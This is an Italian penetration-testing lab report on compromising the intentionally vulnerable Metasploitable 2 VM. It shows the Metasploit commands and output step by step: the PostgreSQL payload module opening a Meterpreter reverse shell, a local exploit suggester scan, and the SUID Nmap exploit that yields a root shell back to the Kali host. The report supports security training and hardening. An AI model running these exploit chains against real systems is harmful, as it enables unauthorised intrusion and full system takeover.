

PROGETTO: sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2

Obiettivo: Ottenere la sessione Meterpreter e l'escalation dei privilegi

Riepilogo dell'Attacco: Target Metasploitable 2

1. Accesso Iniziale
2. Analisi delle Vulnerabilità Locali
3. Escalation a Root

modulo: exploit/linux/postgres/postgres_payload

parametri:

- set RHOSTS 10.0.2.20 (IP Metasploitable)
- set LHOST 10.0.2.15 (IP Kali)
- Run per eseguire l'attacco
- getuid

```
kali@kali: ~  
Session Actions Edit View Help  
zsh: corrupt history file /home/kali/.zsh_history  
(kali@kali)-[~]  
$ msfconsole  
Metasploit tip: Export your database results with db_export -f xml  
<file>  
  
# cowsay++  
< metasploit >  
  
  \      /_____  
   (oo)\_____)_____\n  
   (_____)_____)_____\n       ||----w | *  
  
      =[ metasploit v6.4.103-dev ]  
+ -- --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads ]  
+ -- --=[ 434 post - 49 encoders - 14 nops - 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project  
  
msf > use exploit/linux/postgres/postgres_payload  
[*] Using configured payload linux/x86/meterpreter/reverse_tcp  
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST  
msf exploit(linux/postgres/postgres_payload) > 
```

Sfruttando il modulo postgres_payload su Metasploit, è stato compromesso il servizio PostgreSQL al target 10.0.2.20, stabilendo una sessione **Meterpreter** tramite una reverse shell.

Il comando getuid ha confermato l'accesso come utente limitato postgres, passaggio necessario per avviare la successiva fase di privilege escalation verso root.

```
kali@kali: ~  
Session Actions Edit View Help  
The Metasploit Framework is a Rapid7 Open Source Project  
  
msf > use exploit/linux/postgres/postgres_payload  
[*] Using configured payload linux/x86/meterpreter/reverse_tcp  
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST  
msf exploit(linux/postgres/postgres_payload) > -set RHOSTS 10.0.2.20  
[-] Unknown command: -set. Did you mean set? Run the help command for more de  
tails.  
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 10.0.2.20  
RHOSTS => 10.0.2.20  
msf exploit(linux/postgres/postgres_payload) > set LHOSTS 10.0.2.15  
[!] Unknown datastore option: LHOSTS. Did you mean RHOSTS?  
LHOSTS => 10.0.2.15  
msf exploit(linux/postgres/postgres_payload) > set LHOST 10.0.2.15  
LHOST => 10.0.2.15  
msf exploit(linux/postgres/postgres_payload) > run  
[*] Started reverse TCP handler on 10.0.2.15:4444  
[*] 10.0.2.20:5432 - 10.0.2.20:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu,  
compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)  
[*] 10.0.2.20:5432 - Uploaded as /tmp/BPcwxAfj.so, should be cleaned up autom  
atically  
[*] Sending stage (1062760 bytes) to 10.0.2.20  
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.20:35708) at 2026-  
01-21 08:37:14 -0500  
  
meterpreter > getuid  
Server username: postgres  
meterpreter > 
```

ESCALATION PRIVILEGI

È stato utilizzato il modulo `local_exploit_suggester` in quanto utile all'identificazione automatica di vulnerabilità locali nel kernel tramite Msfconsole nell'unica sessione attiva.

Il sistema ha testato 229 modi diversi per diventare amministratore e ha trovato alcuni "punti deboli"

```
kali@kali: ~  
Session Actions Edit View Help  
r/bin/nmap is setuid  
[*] 10.0.2.20 - Valid modules for session 1:  
  
# Name Poten  
tially Vulnerable? Check Result  
- -  
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes  
The target appears to be vulnerable.  
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes  
The target appears to be vulnerable.  
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes  
The target appears to be vulnerable.  
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes  
The service is running, but could not be validated.  
5 exploit/linux/local/su_login Yes  
The target appears to be vulnerable.  
6 exploit/linux/persistence/autostart Yes  
The service is running, but could not be validated. Xorg  
is installed, possible desktop install.  
7 exploit/multi/persistence/cron Yes  
The target appears to be vulnerable. Cron timing is valid  
, no cron.deny entries found  
8 exploit/unix/local/setuid_nmap Yes  
The target is vulnerable. /usr/bin/nmap is setuid  
9 exploit/linux/local/abrt_raceabrt_priv_esc No
```

Dall'analisi delle vulnerabilità locali, il vettore più rilevante risulta essere il numero 8 (exploit/unix/local/setuid_nmap). Tale criticità evidenzia un'errata configurazione del programma Nmap, il quale presenta il bit SUID (Set User ID) attivo. Questa configurazione permette a qualsiasi utente, anche limitato, di eseguire l'applicativo con i privilegi massimi di root, offrendo un percorso diretto per il controllo completo del sistema.

Una volta configurato il modulo `setuid_nmap` con la sessione attiva, è stato eseguito l'exploit per sfruttare i privilegi amministrativi del. L'operazione ha originato una nuova sessione Meterpreter con privilegi di root, garantendo il controllo totale sul sistema target.

Durante il tentativo di escalation, il caricamento di un payload Meterpreter complesso ha riscontrato problemi di compatibilità con l'architettura del target. Il problema è stato risolto utilizzando un payload di tipo `cmd/unix/reverse`. Questa scelta ha permesso di sfruttare correttamente il bit SUID di Nmap,

garantendo l'ottenimento di una shell con privilegi di root.

```
msf exploit(unix/local/setuid_nmap) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(unix/local/setuid_nmap) > set SESSION 1
SESSION => 1
msf exploit(unix/local/setuid_nmap) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf exploit(unix/local/setuid_nmap) > run
[*] Started reverse TCP double handler on 10.0.2.15:4444
[*] Dropping lua /tmp/SKHujUDR.nse
[*] Running /tmp/SKHujUDR.nse with Nmap
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo hAhMsdnxx6j2SIRl;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "hAhMsdnxx6j2SIRl\r\n"
[*] Matching ...
[*] A is input...
[*] Command shell session 2 opened (10.0.2.15:4444 -> 10.0.2.20:40199) at 202
6-01-21 09:34:55 -0500
```

```
[*] A is input...
[*] Command shell session 2 opened (10.0.2.15:4444 -> 10.0.2.20:40199) at 202
6-01-21 09:34:55 -0500

whoami
root
```

Conclusioni

L'attività di penetration testing eseguita sul target 10.0.2.20 ha permesso di validare l'intera catena di attacco, muovendosi da un accesso non privilegiato fino al controllo totale del sistema.

I punti chiave emersi dall'analisi sono:

- **Efficacia della Compromissione:** L'accesso iniziale tramite il servizio PostgreSQL ha dimostrato come vulnerabilità in applicativi specifici possano fungere da varco d'ingresso critico per l'intera rete.
- **Criticità delle Configurazioni Locali:** Il successo della *Privilege Escalation* non è dipeso da un bug del software, ma da un'errata configurazione dei permessi (bit SUID su Nmap). Questo sottolinea l'importanza fondamentale dell'**hardening** del sistema e del principio del "minimo privilegio".
- **Validazione del Rischio:** L'ottenimento di una shell con **EUID=0 (root)** ha confermato che un utente malintenzionato avrebbe potuto esfiltrare dati sensibili, alterare i log di sistema o installare software persistente (backdoor), compromettendo definitivamente l'integrità e la riservatezza della macchina.

